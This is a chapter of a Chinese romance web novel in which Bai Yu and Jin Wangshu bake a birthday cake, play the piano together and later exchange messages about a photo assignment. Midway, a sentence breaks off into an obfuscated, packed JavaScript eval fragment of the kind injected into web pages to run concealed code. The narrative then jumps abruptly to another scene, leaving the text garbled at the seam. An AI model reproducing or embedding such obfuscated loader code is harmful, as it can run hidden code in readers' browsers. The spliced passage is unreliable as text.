靳望舒：“我知道最近有家味道还不错的餐馆，要去吗？” 白榆摇了摇头，对着他笑笑，“我忽然，有些想吃蛋糕了。” 靳望舒的表情变得耐人寻味起来，“附近没有蛋糕店。” “那超市总有吧？” “我们可以买点材料回来自己做。” 见靳望舒沉默，白榆双手合十可怜兮兮看着他，“拜托了，我今天真的好想吃点甜的。” 说着，她还特意打开朋友圈，“你看我室友都有那么多，一块都不分给我。” 靳望舒扫了下举到眼前的屏幕，嘴角扯了扯，“的确是。” 他转身，“我去换身衣服。” 白榆松了口气，把手机撤回来一眼就看见了杨静栖给她的最新那条回复—— 【甜甜，你吃什么味的我给你放桌上。】 “……” 他看见了吗？ 一定没看见吧……不然怎么没戳穿她？ 最近的超市步行就能到，晚上气温明显下降，白榆一开门就感觉到一股凉意。 靳望舒看了她一眼，随后从门口的衣架上拿下一件黑色外套，“穿这个，别感冒了。” “谢谢。” 一股独属于他的清冽气息袭来，白榆接过衣服穿在身上，出门那会儿抽空给齐倩发了消息说自己晚点再回去。 【那我就帮你留一些饭菜放在餐桌了，等回来饿了自己去吃。】 【好噢，谢谢干妈（可爱）】 收起手机，扭头可以看见路灯下靳望舒正低着头，双手揣在口袋里面，他表情有些凝重，看不出丁点的开心。 白榆小心扯了扯他的衣袖，靳望舒放缓脚步，疑惑偏头看过来。 “怎么了？” “你能牵着我吗？” 靳望舒一愣，随后把手从口袋里面抽出来，摊开掌心放在她面前。 白榆弯了弯唇角后满意牵住。 许是因为没吃晚饭天又降温，她的手有些冰。 靳望舒很快回握住，紧接着拉着她的手揣进了外套口袋。 白榆：“你喜欢吃什么味道的蛋糕？” 靳望舒：“都行，选你爱吃的。” 白榆明显一顿，靳望舒提醒她，“不是你要吃的？” “……噢是。” 她险些忘了。 “但是我一个人也吃不下一整个，也可以做一半你喜欢的口味啊。” 白榆眨了眨眼，“再说了，也说不定我们两个喜欢的口味一样。” 毕竟之前好多次，都是她吃什么喝什么，靳望舒也买的一样。 靳望舒还是那副不咸不淡的态度，“我吃什么都一样。” 他补充道：“可以选两个你喜欢的。” 白榆总觉得他说这话之后的表情有些不对劲，似乎能感觉到他的丝丝无奈。 可不过就是吃个东西而已，这有什么可无奈的？ 没多想，等到了超市选择材料，白榆买了最常用的草莓酱和巧克力酱，又拿了一小罐奶油。 两人拿了蛋糕胚之后又到水果区，靳望舒给她撑着袋子，白榆挑了几样新鲜的水果装好。 东西买的七七八八之后靳望舒推着车子去结账。 白榆把购物车里面的东西拿到台面上之后赶紧打开手机打算付款，抬头却看见靳望舒已经让售货员扫了码。 她跟在他身后，盯着他拎着的那袋东西愣了会儿，面前忽然伸过来一只手。 白榆稍稍抬起脑袋便听见他问，“不要牵了？” “要！” 她赶紧牵住，又快步跟上用另一手挽住他的手臂。 事实上，他的手也并不暖，但靠的近一点，也许就不会显得他太孤单。 这么多年过去，白榆根本没有见过不爱过生日的人。 就连简琳平时在家没人庆祝，但是只要在宿舍提起来她都是闹着吵着要个仪式感。 而今天是靳望舒的生日，他父母却都不在家。 走到半路，白榆试探询问，“叔叔阿姨平时很忙吗？” “嗯。” 很明显，他不愿意多说。 白榆失望一瞬，“那也没给你发个红包什么的吗？” 这回，靳望舒半天都没说话。 就在白榆以为他不会在搭理她的时候，牵着她的手忽然握紧了些。 靳望舒的语气很轻松，“没有，他们的工作都很忙。” “我爸爸是科研人员，保密工作经常上交手机，回家的时候也不多，我妈妈常年做高三的班任，大多数时间住在学校。” “靳望舒，你爸爸妈妈好厉害啊。” 闻言他意外的愣了下，又难得露出一点笑意，“嗯，我也这么觉得。” 白榆难免想起白寻茹，“我妈妈也是，她也总是不回家，我小时候经常是我干妈，就是齐志虹的妈妈照顾我的。” “那你爸爸呢？” “爸爸？”白榆像是听见了什么新鲜事，她笑着答他，“我没有爸爸。” 话落，靳望舒握着她的手又紧了些。 他没再继续这个话题，“蛋糕应该怎么做？” “把蛋糕胚切开，放果酱和奶油，最后摆上水果……应该是这样吧。” 她只记得自己看齐倩做过几次。 “嗯，我们回去试试。” 靳望舒的态度忽然缓和不少，白榆放松下来，一路上话也变得多了起来。 回到别墅，靳望舒把那袋子放在餐桌，然后拿过来一个旋转的蛋糕支架。 白榆把东西拿出来摆在桌上，看了一眼他拿来的东西，“你家里还有这种东西啊？” “嗯，之前照顾我的阿姨会在家里做。” “看起来好专业，和我干妈用的那种一样。” 说着，白榆把切开的蛋糕胚放在上面一块。 转而又觉得不对，拿起蛋糕胚之后在底下先点了一小块奶油。 “听说，这样才不会到处乱跑。” “嗯。” 白榆递给靳望舒一罐巧克力酱，“我们两个一人涂一半。” 靳望舒：“不是应该每种都涂一层？” “好像是……”白榆挠了挠头，“那我先涂，下一层你涂。” “嗯。” 白榆小心涂了一层奶油之后把果酱挤上，旁边水果刀碰到菜板的声音咔哒咔哒的。 靳望舒正把几样洗好的水果切成块。 看他手法还挺顺畅，比做陶艺的时候灵活多了。 拿着一袋奥利奥打开后装进塑料袋，白榆拿着个杯子用力锤着发出咚咚的声音砸成碎。 片刻靳望舒从身后靠过来，“戴个围裙吗？都弄到身上了。” 白榆举起双手低头看了眼，果然衣服上稍微蹭到了些。 她两只手都戴着手套，转头还没开口说出自己的请求，一个围裙就套在了她的头上。 感觉到背后有人轻轻帮她把围裙的带子系好，她低着脑袋继续自己的工作。 “谢谢。” 等她弄好饼干碎放在蛋糕上，扭头看见旁边的靳望舒不知道什么时候也自己穿了一个围裙。 他一身纯白色的毛衣，可爱图案的黄色围裙穿在身上，还颇有几分温柔的感觉。 许是她盯着他的时间太久，靳望舒转头看过来，“怎么了？” “我弄好了，该你弄了。” 白榆摘下手套，丢在垃圾桶之后主动让开位置。 靳望舒接手下一层的涂抹，余光瞟到她快速跑开的背影。 没猜错的话，她估计又去拿手机了。 抿了抿唇，忍不住去计算她到底拍了几张照片了。 算上这张，应该有九张了。 还剩下最后一张…… 相机的咔嚓声短暂响起，白榆站在桌子对面，高举起手机对着两人，依然是笑着对镜头眨眼比耶。 靳望舒低着脑袋，做蛋糕的模样认真。 放大照片仔细看，还能发现他嘴角噙着的若有似无的笑意。 好像……他也没那么不喜欢过生日吧。 放下手机过去帮忙做最后的收尾工作，白榆忽然从口袋里面掏出一个月亮形状的软糖放在了蛋糕的最上面。 看着靳望舒稍顿的模样，白榆笑着询问。 “你的名字，是月亮的意思吧？” “我的名字是星星的意思哦。” 靳望舒抬头看向她，语调是难得的温和，他说，“我知道。” 白榆：“这个蛋糕是给你做的，不是我想吃的。” 靳望舒扬了扬眉：“嗯，我知道。” “靳望舒，”白榆的语调带着几分调侃，倾身向前手肘拄在桌面双手捧着脸，抬眸认真盯着他，“你怎么什么都知道？” 餐桌上方悬着的灯光是柔光的黄色，铺洒在餐桌这一块，平添了几分暧昧的氛围。 靳望舒稍稍弯下身子迎上她的目光，额前垂下的发丝轻轻扫过她的额头。 “我也有很多不知道的事情。” “比如？” “比如……”他稍微思考了会儿，又道，“不知道下次过生日是什么时候。” 真笨。 “下次当然就是明年这个时候了。” 白榆退开站直身子，把旁边的几根生日蜡烛插在了两人刚做好的蛋糕上。 全然没注意到的是一旁靳望舒微暗的眼眸。 果然，她听不出他隐去的那个前提。 她也根本不知道，除了她，再没人会给他过生日。 “你去找火。” 白榆抬手在愣住的靳望舒眼睛挥了挥。 他立刻回神，“好。” 转身到厨房的柜子里面找到打火机，确认能打出火之后转身，刚才还趴在桌边的女孩儿却一下没了身影。 没等靳望舒开始找人，不远的暗处传来温和的钢琴弹奏声。 白榆早在进门那刻就发现这里摆了一台钢琴，坐在琴凳上，她手指有节奏地在琴键上按动。 简单的乐谱无需特殊记忆，光听音调就知道这是什么曲调—— 祝你生日快乐， 祝你生日快乐， 祝你，生日，快乐…… 掩藏在琴音里面能听见打火机咔哒咔哒了两声，随后身后唯一的光源被关上，只留下几簇火苗在一片漆黑中缓缓跳动。 白榆只记得这几句的节奏，反复弹了几遍之后忽然感觉有人从身后靠了上来。 面前的琴键上忽然出现了一双男生的手。 他的手指瘦削又修长，骨节分明，指甲圆润干净，净白的皮肤下隐隐可见青色的淡淡纹路。 悠扬的曲调这次出自他手，白榆稍愣片刻，小指忽然被勾着摆在应该在的位置。 这短暂的皮肤碰触让她心跳漏了半拍似的慌乱，紧接着迟疑着按下琴键。 happybirthdaytoyou, happybirthdaytoyou, happybirthdaytomoon…… 白榆感觉到自己脖颈的位置被他毛衣上的绒毛轻轻摩挲着，刺痒的感觉让她缩了缩脖子。 头顶也总有意无意的磕到什么。 所幸，演绎出来的曲调还算不错。 一曲结束，身后的压迫忽然消失，白榆缓缓松了口气之后连忙起身。 她双手在背后轻轻勾着，“靳望舒，生日快乐！” “谢谢。” “你吹蜡烛了吗？” 室内的火光星星点点晃过。 显然，他还没。 再回到餐桌边的时候蜡烛已经燃得只剩下一个尾巴。 白榆着急催促他，“快许愿，然后把蜡烛吹了，这样愿望才能实现。” 靳望舒闭上眼片刻，又睁开，一口气把蜡烛尽数吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他紧接着开始语音轰炸，“领啊兄弟，生日快乐，下次回学校给你过哈。” “主要是想吃蛋糕了，不能年年这么不给面子。” 还真是非亲非故的亲兄妹，连借口都一样。 靳望舒难得的好说话，【行。】 他没什么推脱的领了红包，隔了一会儿又想起什么，给齐志虹发了条消息过去。 【她一直住在你家吗？】 刚才的别墅家里明显有人，但是白榆说她母亲很忙，父亲又不在。 【啊？那不是我家，那是我们家。】 【你不懂什么是亲兄妹吗？就是要住在一起啊。】 斟酌片刻，靳望舒还是打算弄个明白，【但，她爸爸呢？】 【？？？】 齐志虹给他发语音，“没有啊，我俩都没有，哎呀这个情况很复杂，怎么跟你说呢？” “反正你就记得，不是死了，不是跑了，不是出轨没有离婚，就挺正常的，本来就没有。” “？” “等你回来我慢慢给你说，总之就是没有，也不需要，我俩一致觉得，现在这种状况实在是很不错。” 靳望舒回了他一个好，回去的路上把这事想了个七七八八。 不管怎么说，听见齐志虹说是正常的情况，他也稍稍松了口气。 再回到那个没什么人味的房子里面，这次开门扑面而来的是一股奶油的甜腻气息。 靳望舒的表情松动了些，又到冰箱把蛋糕拿出来。 才坐下，手机嗡嗡了两声。 小舟：【哥哥，你去哪里了？】 小舟：【不是去给我买糖了吗？怎么还不回来？护士姐姐说我针都要打完了。】 小舟：【哥哥，你还回来吃饭吗？】 靳望舒：“……” 把面前的蛋糕重新放进冰箱，拿起刚脱掉的外套穿上之后他以最快的速度离开。 * 隔天白榆一早就回了学校上课，中午买了饭回到宿舍就数了数自己这么多天拍的照片。 她数了好几遍之后哀嚎一声，“怎么才九张啊！” 简琳被她吓了一跳，“什么？” “心理课作业，照片怎么才九张。” 简琳闻言立马在自己桌面上翻找了半天，最后拿出来那张牵手照片按在白榆桌上。 “加上这个，是不是正好十张了？” “！！！” “你什么时候拍的？” “路过，路过时候顺手看见拍的。” 她挠了挠头，“我本来是打算拍夕阳的。” 白榆疑惑看了她一眼，但眼下有更重要的事情，甚至没来得及把饭吃完，她立刻下楼找到打印机把几张照片打印了出来。 犹记得老师的作业任务，她在照片背面随便写着字—— 第一张：《我们俩》 第二张：《等你下课》 第三张：《goldenhour》 第四张：《凑热闹》 第五张：《最长的电影》 …… 第十张：《生日快乐》 杨静栖正好凑过来看了眼，“甜甜，你听歌在软件不就好了，怎么还写下来？” “不懂别说话，这是我的恋爱感想。” “……” 确实很敢想。 白榆把几张照片写完之后装好，打开手机忙着给靳望舒发消息。 【帮忙写一下我的照片作业感想吧。】 【不是才九张？】 【没有哦，算上我室友帮忙拍的一张，已经够了。】 【哦，恭喜。】 也许是白榆的错觉，她感觉靳望舒并没有想象中那么替她高兴。 不过无所谓，她即将宣布一件更令他高兴的事情。 【同喜同喜。】 【？】 【你的任务完成了！】 白榆神神秘秘，【所以我祝你……】 【分手快乐！】